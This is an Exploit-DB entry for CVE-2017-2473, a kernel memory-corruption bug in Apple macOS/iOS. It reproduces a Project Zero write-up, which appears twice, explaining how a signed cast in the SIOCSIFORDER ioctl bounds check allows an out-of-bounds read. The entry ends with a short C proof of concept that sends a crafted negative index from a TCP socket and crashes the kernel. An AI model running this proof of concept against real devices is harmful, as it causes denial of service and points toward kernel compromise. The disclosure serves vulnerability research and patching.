标题: Apple macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking EDB-ID: 41792 CVE: 2017-2473 类型: DOS 平台: MULTIPLE 发布日期: 2017-04-04 漏洞利用脚本: /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108

SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.

it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.

ifnet_reset_order contains this code:

  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }

at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index

by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.

This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2

(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/

// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl

SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.

it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.

ifnet_reset_order contains this code:

  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }

at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index

by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.

This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/socket.h>

#include <mach/mach.h>

struct if_order {
 u_int32_t   ifo_count;
 u_int32_t   ifo_reserved;
 mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};

#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)

int main() {
 uint32_t data[] = {0x80001234};

 struct if_order ifo;
  ifo.ifo_count = 1;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  int fd = socket(PF_INET, SOCK_STREAM, 0);
  int ret = ioctl(fd, SIOCSIFORDER, &ifo);

  return 0;
} URL: https://www.exploit-db.com/exploits/41792